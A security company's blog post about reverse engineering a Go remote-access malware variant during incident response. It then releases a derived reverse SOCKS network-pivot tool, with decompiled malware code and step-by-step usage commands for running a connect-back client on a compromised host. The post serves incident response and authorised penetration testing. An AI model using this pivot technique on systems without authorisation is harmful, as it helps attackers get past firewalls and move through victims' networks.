Network pivoting is a fancy name we use to describe sending network traffic via one or more hosts that we’ve compromised. It lets us get behind firewalls, access more stuff and is an essential component of serious malware. This is the story of a highly portable network pivot I created. It’s based on (more or less) stealing code from some malware I reverse engineered as part of an incident response engagement.
You can take a look at the network pivot here: https://github.com/aj-code/3gsocks. It should run on damn near anything and actually cares about securing your data in transit, hopefully making it useful for pentesters.
Incident Response and Digital Forensics
At Pulse Security we’re regularly helping clients deal with cyber security incidents, which can be anything from a malicious employee stealing company IP to DDOS attacks to widespread password spraying attacks, or to compromise of a server environment because of 0-day or missing security patches.
One of the skillsets that comes in handy during a compromise involving malware is the ability to quickly analyse and reverse engineer real life malware so we can feed that information back into the response process. More IOCs, better detection, more containment, and better response, woo!
In this case an organisation reached out for help as they were victim of a compromise via their vulnerable Salt server. One of the biggest questions we want to answer is “What did the attacker actually do?” which is sometimes an easy question to answer, and sometimes… not so much. What can be helpful in knowing where to direct our investigation is to understand the broad capabilities of the malware used.
Sometimes the malware only does one thing (e.g. mine cryptocurrency), but other times it has capability to allow full remote access to systems and networks its running on. In this case we had two malicious binaries that had been run within the environment, one was an unmodified cryptocurrency miner. Discovery of a binary like this is generally a good sign as it points towards the attackers just wanting to steal compute resources instead of, say, ransomware or blackmail or IP theft or… others. However, the second binary was much more interesting and required a bit more attention to classify. We can’t just find the first sign of a crypto miner and call it a day, after all.
Basic Static Analysis of Golang Malware
Malware writing in Go has become surprisingly common recently, largely because it’s a pretty straight forward language with a great library ecosystem and is super simple to cross compile to almost any platform. From an analysis/reversing perspective, Go is great because the compiler adds to the binary a boatload of metadata about the original code, which sticks around even when the binary is stripped.
In our case we could immediately see that the malware was a variant of nsapps RAT which IronNet was kind enough to publish detail on. This meant we didn’t need to start from scratch on our analysis and really only needed to determine if our variant added any new functionality or not.
We could do a simple strings and grep for source files used in the malware (Go leaves so much metadata, it’s all just there), which gives us an idea on the structure of the malware code and what libraries it’s using. I generally prefer to use the redress tool, which gives us more detail with less work:
$ redress -src -vendor malware.elf
Package main: /app
File: <autogenerated>
init Lines: 1 to 24 (23)
File: command.go
doTask Lines: 20 to 21 (1)
File: counter.go
getOrCreateRateCounterForTask Lines: 8 to 11 (3)
File: exec.go
runcmd Lines: 11 to 31 (20)
startCmd Lines: 31 to 57 (26)
File: main.go
init0 Lines: 57 to 74 (17)
main Lines: 74 to 206 (132)
mainfunc1 Lines: 138 to 138 (0)
healthChecker Lines: 206 to 371 (165)
getWriteableDir Lines: 371 to 386 (15)
startSocks Lines: 386 to 387 (1)
File: network.go
getTask Lines: 24 to 37 (13)
getTargets Lines: 37 to 82 (45)
sendResult Lines: 82 to 98 (16)
sendSocks Lines: 98 to 135 (37)
checkHealth Lines: 135 to 147 (12)
setLog Lines: 147 to 159 (12)
setExecOutput Lines: 159 to 174 (15)
encStruct Lines: 174 to 189 (15)
DownloadFile Lines: 189 to 221 (32)
makeClient Lines: 221 to 241 (20)
RC4 Lines: 241 to 285 (44)
doRequestWithTooManyOpenFiles Lines: 285 to 288 (3)
File: result.go
resultSender Lines: 15 to 46 (31)
addResult Lines: 46 to 51 (5)
getOrCreateListForTaskResult Lines: 51 to 53 (2)
File: sclient.go
connectForSocks Lines: 11 to 15 (4)
connectForSocksfunc1 Lines: 48 to 49 (1)
File: storage.go
setUuid Lines: 7 to 11 (4)
getOrCreateUuid Lines: 11 to 24 (13)
…snip…
You can run this yourself on a similar malware binary if you want to follow along: https://malshare.com/sample.php?action=detail&hash=568f7b1d6c2239e208ba97886acc0b1e
Keeping in mind that this binary is stripped, we still get references to source files and real function names which is super nice. This gives us an overview of the structure of the malware code and can see interesting functions like runcmd and startsocks. Go apparently likes to use this information at runtime and it’s non-trivial to remove. This malware isn’t packed or obfuscated which makes getting a general overview of its functionality surprisingly easy.
The next step would generally be to open the malware binary in your reverse engineering tool of choice, probably with a few useful scripts to handle Go binaries better and start looking at the interesting functions that you want to understand.
Through our own reversing and the IronNet writeup it became obvious that the malware had socks proxy based network pivoting capability, and we were particularly interested in whether this had been used by the attackers or not. This led us to a detailed look at the socks functionality. If this functionality did anything that would show up in a forensics timeline (e.g. drops a temporary file to disk) then we could likely find evidence to prove if it was used or not through our ongoing forensic analysis of the compromised server disks.
The redress output includes a line about this package import:
Package github.com/armon/go-socks5: /go/src/github.com/armon/go-socks5
Which is a convenient opensource socks5 server package the malware authors are using. Digging further into the binary with Ghidra, the main.connectForSocks() function seems to give a good view of how the socks server works:
void main.connectForSocks(void)
{
…snip…
FUN_00456bc9(0,local_348);
runtime.newobject();
github.com/armon/go-socks5.New();
if (local_3c8 != 0) {
return;
}
runtime.newobject();
*(undefined *)(local_3d0 + 0x13) = 1;
local_3b8 = in_stack_00000030;
net.DialTimeout();
ppuVar4 = (undefined **)local_3b0;
if (in_stack_00000008 != '\0') {
local_348[0] = FUN_00456bc9(0,local_348);
local_338 = 1;
local_3b8 = (long **)local_3d0;
crypto/tls.Dial();
ppuVar4 = &PTR_DAT_00965800;
local_3a0 = local_3a8;
}
if (local_3a0 != 0) {
return;
}
runtime.stringtoslicebyte();
local_3c0 = local_3b0;
(*(code *)((long **)ppuVar4)[0xb])();
runtime.convI2I();
local_3d0 = (undefined **)local_3b8;
github.com/hashicorp/yamux.Server();
if (local_3b8 != (long **)0x0) {
return;
}
while( true ) {
pplVar3 = (long **)local_3d0;
runtime.newobject();
local_350 = (long **)local_3d0;
github.com/hashicorp/yamux.(*Session).Accept();
*local_350 = (long *)local_3c0;
if (_DAT_009c2b80 == 0) {
local_350[1] = (long *)local_3b8;
}
else {
local_358 = local_3b8;
runtime.writebarrierptr();
}
if (*local_350 != (long *)0x0) break;
local_3c0 = pplVar2;
local_3d0 = &PTR_main.connectForSocks.func1_007d01c0;
runtime.newproc();
local_3b8 = pplVar3;
}
return;
}
Skimming the above code, you can see that it’s quite easy to pick out the gist of what’s going on based on the major function calls. We can see that the malware dials out to the C2 server using a TLS socket, then uses github.com/hashicorp/yamux to send the steam of data from the C2 to the socks server and vice-versa, giving the malware encrypted network pivoting.
It’s always possible the malware authors are using various kinds of trickery to hide functionality from the basic reverse engineering techniques, but in this case we were only looking for indications to guide our analysis of the forensic timelines and logs. The investigation as a whole didn’t heavily rely on this malware analysis.
Unfortunately, nothing in the binary jumped out at me as leaving a trace one of our forensics folks would be able to find in logs or a disk artifact timelines, but to be sure I decided to implement the same code using the same libraries and run it locally to see if any useful disk artefacts were created. This style of reproduce-and-run dynamic analysis is more limited but much faster than spending time digging through disassembled or decompiled code. This is only an option when the code you’re reproducing is small and contained, otherwise it’s usually outside of what you can achieve in a few hours.
Malware authors tend to copy code where they can (don’t we all?) so I dug around for a socks proxy implementation in Go that was similar, and came across this GitHub repo. The code in this repo lines up fairly well with what I saw in the malware, but without TLS. This definitely helped me reimplement the socks function myself, and was possibly used by the malware authors themselves, or possibly not, who knows!
Anyway, unfortunately there were no useful artefacts created so I can say the network pivot was pretty clean from a forensics perspective. We were able to approach the possibility of the network pivot being used by the attackers through other means (e.g. checking network/firewall config to see what they could have connected to, and looking at logs for those services, etc).
The Network Pivot
Once the investigation was all wrapped up, I realised I have most of a network pivot already implemented, curtesy of the nsapps malware authors and 3gstudent, so why not improve it a bit and release it?
You can checkout the github repo with a bunch of precompiled binaries under the dist folder, if you’re that way inclined.
So how does it work? First you want to generate yourself a self-signed cert which the client will pin on to prevent traffic being intercepted. If you care about the data you’re sending over this pivot (which you probably do) you don’t want it accessed by someone else or a security device doing TLS inspection.
Generate your cert:
$ openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -days 90
And spin up the server, obviously set the connect back address to wherever the client needs to connect back to (e.g. your public IP). In this case I’m just using localhost for testing:
$ ./3gsocks_server_linux_amd64 --connect-back-address 127.0.0.1:9999
The remote client needs to know where to connect back to, this is encoded in the following run key.
This key only changes if you change the TLS certs or connect back address.
1cc9366d6866d1d1e4708f0164236acb553c66306ce7e5ccece89216ecbfc9703132372e302e302e313a39393939
E.g. execute the remote client as follows:
./client 1cc9366d6866d1d1e4708f0164236acb553c66306ce7e5ccece89216ecbfc9703132372e302e302e313a39393939
2021/03/23 15:52:07 Starting server...
2021/03/23 15:52:07 Waiting for remote reverse connection client: 0.0.0.0:9999
2021/03/23 15:52:07 Waiting for socks client: 127.0.0.1:1080
The server spits out a hex encoded string which you pass to the client as the first argument. This just tells the client where to connect back to, and the hash of the server’s TLS public key for pinning. Just drop the right client binary on whatever you want to pivot through and run that up like this:
$ ./3gsocks_client_linux_amd64 1cc9366d6866d1d1e4708f0164236acb553c66306ce7e5ccece89216ecbfc9703132372e302e302e313a39393939
If the connect back is successful, the server will print something like this to stdout:
2021/03/23 15:55:57 Remote client connected: 127.0.0.1:43336
From here we can use the SOCKS port (default localhost:1080, probably don’t expose this to the internet) on our server and any data we send down it will appear as if it came from the machine the client is running on.
That’s it! There’s lots of ways to pivot out there but someone might find this one useful, especially if they come across something weird like netbsd running on MIPS or one of the many other platforms Golang supports.